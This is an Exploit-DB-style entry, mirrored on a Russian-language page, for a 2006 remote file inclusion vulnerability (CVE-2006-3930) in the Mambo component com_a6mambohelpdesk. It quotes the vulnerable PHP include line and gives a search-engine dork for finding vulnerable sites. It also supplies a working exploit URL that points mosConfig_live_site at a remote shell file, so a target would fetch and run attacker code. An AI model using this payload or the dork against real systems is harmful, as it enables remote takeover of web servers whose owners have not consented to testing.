Exploit Mambo Component 'com_a6mambohelpdesk' 18RC1 - Remote File Inclusion

[Exploiter]

EDB-ID

2078

Проверка EDB

1. Пройдено

Автор

DR.JR7

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-3930

Дата публикации

2006-07-27

a6mambohelpdesk Mambo Component <= 18RC1 Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : a6mambohelpdesk
# Thanx : www.lezr.com/vb

# codes

<?
include("$mosConfig_live_site/components/com_a6mambohelpdesk/about.html" );
?>

# d0rkiz : allinurl:"com_a6mambohelpdesk"

http://www.site.com/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://shell.txt


# by Dr.Jr7

# milw0rm.com [2006-07-27]